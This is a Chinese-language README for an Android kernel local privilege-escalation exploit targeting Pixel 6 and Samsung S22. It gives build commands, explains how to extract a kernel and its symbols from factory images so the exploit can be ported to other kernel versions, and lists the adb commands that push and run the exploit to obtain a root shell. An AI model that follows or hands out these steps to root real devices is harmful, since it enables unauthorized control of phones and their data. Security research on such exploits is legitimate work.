确保已安装 Android NDK。对于 Pixel 6,
make pixel
对于三星 S22,
make s22
该漏洞利用程序旨在支持不同版本的内核。为了将漏洞利用移植到不同的内核,你需要提取目标内核的符号文件。
可以从手机的出厂镜像中提取内核。对于 Pixel 设备,请在此下载出厂镜像。
下载镜像后,解压镜像以获得 boot.img 文件。可以使用 tools/unpack_bootimg.py 提取 boot.img。
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
你会看到内核位于 out/kernel。
现在,有了内核镜像,我们可以使用 vmlinux-to-elf 从中提取内核符号。
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
你必须确保提取到的符号中的 Version string 与手机的内核版本匹配。可以通过 adb 查找手机的内核版本。例如,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
与
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
匹配
现在,你可以将漏洞利用程序和符号文件推送到手机,并使用以下命令获取 root 权限。
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
尽情享受你的 root shell 吧 :)